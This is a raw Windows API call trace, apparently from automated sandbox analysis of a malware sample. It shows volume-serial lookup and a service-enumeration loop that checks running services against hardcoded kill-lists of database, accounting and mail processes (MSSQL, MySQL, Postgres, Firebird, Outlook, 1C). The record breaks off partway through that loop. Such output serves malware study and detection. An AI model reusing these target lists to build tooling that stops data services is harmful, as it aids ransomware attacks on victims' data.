(Heap=0x660000, Flags=0x0, Ptr=0x6bbec0, Size=0x8) returned 0x6bbe70 [0190.772] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a36f8 | out: hHeap=0x660000) returned 1 [0190.772] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c2008, Size=0x20) returned 0x69dd00 [0190.772] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x6d5d60, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0190.772] lstrlenW (lpString="C:\\") returned 3 [0190.772] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0190.773] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6d5d60 | out: hHeap=0x660000) returned 1 [0190.773] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bbf00, Size=0x82) returned 0x6b7480 [0190.773] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bbf80, Size=0x100) returned 0x6a36f8 [0190.773] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b7480, Size=0x104) returned 0x6b5418 [0190.774] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a36f8, Size=0x200) returned 0x6b5528 [0190.775] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6bbf10 | out: hHeap=0x660000) returned 1 [0190.775] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b5528 | out: hHeap=0x660000) returned 1 [0190.775] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c1e58 | out: hHeap=0x660000) returned 1 [0190.775] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c54d0 | out: hHeap=0x660000) returned 1 [0190.775] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c1e28 | out: hHeap=0x660000) returned 1 [0190.775] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c4de8 | out: hHeap=0x660000) returned 1 [0190.775] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c1e10 | out: hHeap=0x660000) returned 1 [0190.775] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b5418 | out: hHeap=0x660000) returned 1 [0190.775] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c1ea0 | out: hHeap=0x660000) returned 1 [0190.775] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c4b38 | out: hHeap=0x660000) returned 1 [0190.775] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c2020 | out: hHeap=0x660000) returned 1 [0190.775] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c4bc8 | out: hHeap=0x660000) returned 1 [0190.775] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c1de0 | out: hHeap=0x660000) returned 1 [0190.775] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c2080, Size=0x20) returned 0x69d8f0 [0190.775] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69d8f0, Size=0x40) returned 0x6c4070 [0190.775] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6bbe60 | out: hHeap=0x660000) returned 1 [0190.775] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c1db0 | out: hHeap=0x660000) returned 1 [0190.776] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b5cb8 | out: hHeap=0x660000) returned 1 [0190.776] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c1df8 | out: hHeap=0x660000) returned 1 [0190.776] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c5c40 | out: hHeap=0x660000) returned 1 [0190.776] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c1f48 | out: hHeap=0x660000) returned 1 [0190.776] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6bbe80 | out: hHeap=0x660000) returned 1 [0190.776] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c1e70 | out: hHeap=0x660000) returned 1 [0190.776] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x676b18 | out: hHeap=0x660000) returned 1 [0190.776] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6768f8 | out: hHeap=0x660000) returned 1 [0190.776] lstrlenW (lpString="%systemdrive%") returned 13 [0190.776] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dd00 | out: hHeap=0x660000) returned 1 [0190.776] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c5448 | out: hHeap=0x660000) returned 1 [0190.776] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6bbee0 | out: hHeap=0x660000) returned 1 [0190.776] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x6c5d40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a4 [0190.777] WaitForMultipleObjects (nCount=0x2, lpHandles=0x67aee8*=0x260, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 83 os_tid = 0xfb0 Thread: id = 86 os_tid = 0xfc4 [0190.707] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bc448 [0190.707] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bc448, Size=0x20) returned 0x69de90 [0190.707] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69de90, Size=0x40) returned 0x677a30 [0190.707] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677a30, Size=0x80) returned 0x6c51a0 [0190.707] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c51a0, Size=0x100) returned 0x6b7370 [0190.707] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bc448 [0190.707] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bc448, Size=0x20) returned 0x69de90 [0190.707] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69de90, Size=0x40) returned 0x677718 [0190.707] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677718, Size=0x80) returned 0x6c5558 [0190.707] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c5558, Size=0x100) returned 0x6a36f8 [0190.707] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6bc2c8 [0190.707] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4) returned 0x6bbdf0 [0190.707] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bc4c0 [0190.707] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bbdf0, Size=0x8) returned 0x6bbea0 [0190.707] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x14) returned 0x676438 [0190.707] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bbea0, Size=0x10) returned 0x6bc1f0 [0190.707] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x18) returned 0x676458 [0190.707] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1a) returned 0x69de90 [0190.707] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bc1f0, Size=0x20) returned 0x69deb8 [0190.707] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1c) returned 0x69db48 [0190.707] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x16) returned 0x676498 [0190.707] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1a) returned 0x69dad0 [0190.707] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6bc4a8 [0190.707] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4) returned 0x6bbf10 [0190.707] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x677910 [0190.708] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bbf10, Size=0x8) returned 0x6bbe50 [0190.708] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x3c) returned 0x677d48 [0190.708] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bbe50, Size=0x10) returned 0x6bc2e0 [0190.708] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x14) returned 0x6764b8 [0190.708] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x18) returned 0x6764d8 [0190.708] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bc2e0, Size=0x20) returned 0x69dbe8 [0190.708] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x24) returned 0x676d88 [0190.708] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0190.708] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b7370 | out: hHeap=0x660000) returned 1 [0190.708] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0190.708] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a36f8 | out: hHeap=0x660000) returned 1 [0190.708] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69da80 [0190.710] EnumServicesStatusExW (in: hSCManager=0x69da80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0190.731] GetLastError () returned 0xea [0190.731] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1bc4) returned 0x6c1758 [0190.731] EnumServicesStatusExW (in: hSCManager=0x69da80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6c1758, cbBufSize=0x1bc4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6c1758, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0190.751] CloseServiceHandle (hSCObject=0x69da80) returned 1 [0190.752] lstrlenW (lpString="Appinfo") returned 7 [0190.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0190.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0190.752] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0190.752] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0190.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0190.752] lstrlenW (lpString="AppXSvc") returned 7 [0190.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0190.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0190.752] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0190.752] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0190.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0190.752] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0190.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0190.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0190.752] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0190.752] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0190.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0190.752] lstrlenW (lpString="Audiosrv") returned 8 [0190.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0190.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0190.753] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0190.753] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0190.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0190.753] lstrlenW (lpString="BFE") returned 3 [0190.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0190.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0190.753] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0190.753] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0190.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0190.753] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0190.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0190.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0190.754] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0190.754] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0190.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0190.754] lstrlenW (lpString="CDPSvc") returned 6 [0190.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0190.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0190.754] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0190.754] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0190.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0190.754] lstrlenW (lpString="ClickToRunSvc") returned 13 [0190.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0190.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0190.754] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0190.754] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0190.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0190.754] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0190.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0190.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0190.754] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0190.754] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0190.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0190.754] lstrlenW (lpString="CryptSvc") returned 8 [0190.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0190.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0190.754] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0190.754] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0190.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0190.755] lstrlenW (lpString="DcomLaunch") returned 10 [0190.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0190.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0190.755] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0190.755] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0190.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0190.755] lstrlenW (lpString="DeviceAssociationService") returned 24 [0190.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0190.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0190.755] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0190.755] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0190.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0190.755] lstrlenW (lpString="Dhcp") returned 4 [0190.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0190.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0190.755] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0190.755] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0190.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0190.755] lstrlenW (lpString="Dnscache") returned 8 [0190.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0190.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0190.755] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0190.755] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0190.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0190.755] lstrlenW (lpString="DPS") returned 3 [0190.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0190.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0190.755] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0190.756] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0190.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0190.756] lstrlenW (lpString="DusmSvc") returned 7 [0190.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0190.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0190.756] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0190.756] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0190.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0190.756] lstrlenW (lpString="EventLog") returned 8 [0190.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0190.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0190.756] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0190.756] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0190.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0190.756] lstrlenW (lpString="EventSystem") returned 11 [0190.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0190.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0190.756] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0190.756] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0190.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0190.756] lstrlenW (lpString="FontCache") returned 9 [0190.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0190.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0190.756] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0190.756] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0190.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0190.756] lstrlenW (lpString="gpsvc") returned 5 [0190.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0190.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0190.757] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0190.757] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0190.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0190.757] lstrlenW (lpString="iphlpsvc") returned 8 [0190.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0190.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0190.757] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0190.757] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0190.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0190.757] lstrlenW (lpString="KeyIso") returned 6 [0190.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0190.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0190.757] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0190.757] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0190.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0190.757] lstrlenW (lpString="LanmanServer") returned 12 [0190.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0190.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0190.757] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0190.757] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0190.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0190.757] lstrlenW (lpString="LanmanWorkstation") returned 17 [0190.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0190.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0190.757] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0190.757] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0190.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0190.758] lstrlenW (lpString="lfsvc") returned 5 [0190.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0190.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0190.758] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0190.758] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0190.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0190.758] lstrlenW (lpString="lmhosts") returned 7 [0190.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0190.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0190.758] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0190.758] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0190.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0190.758] lstrlenW (lpString="LSM") returned 3 [0190.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0190.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0190.758] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0190.758] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0190.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0190.758] lstrlenW (lpString="MpsSvc") returned 6 [0190.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0190.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0190.758] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0190.758] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0190.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0190.758] lstrlenW (lpString="NcbService") returned 10 [0190.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0190.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0190.759] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0190.759] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0190.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0190.759] lstrlenW (lpString="netprofm") returned 8 [0190.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0190.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0190.759] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0190.759] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0190.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0190.759] lstrlenW (lpString="NgcSvc") returned 6 [0190.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0190.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0190.759] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0190.759] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0190.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0190.759] lstrlenW (lpString="NlaSvc") returned 6 [0190.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0190.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0190.759] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0190.759] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0190.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0190.759] lstrlenW (lpString="nsi") returned 3 [0190.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0190.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0190.759] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0190.759] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0190.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0190.759] lstrlenW (lpString="PcaSvc") returned 6 [0190.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0190.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0190.760] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0190.760] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0190.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0190.760] lstrlenW (lpString="PlugPlay") returned 8 [0190.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0190.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 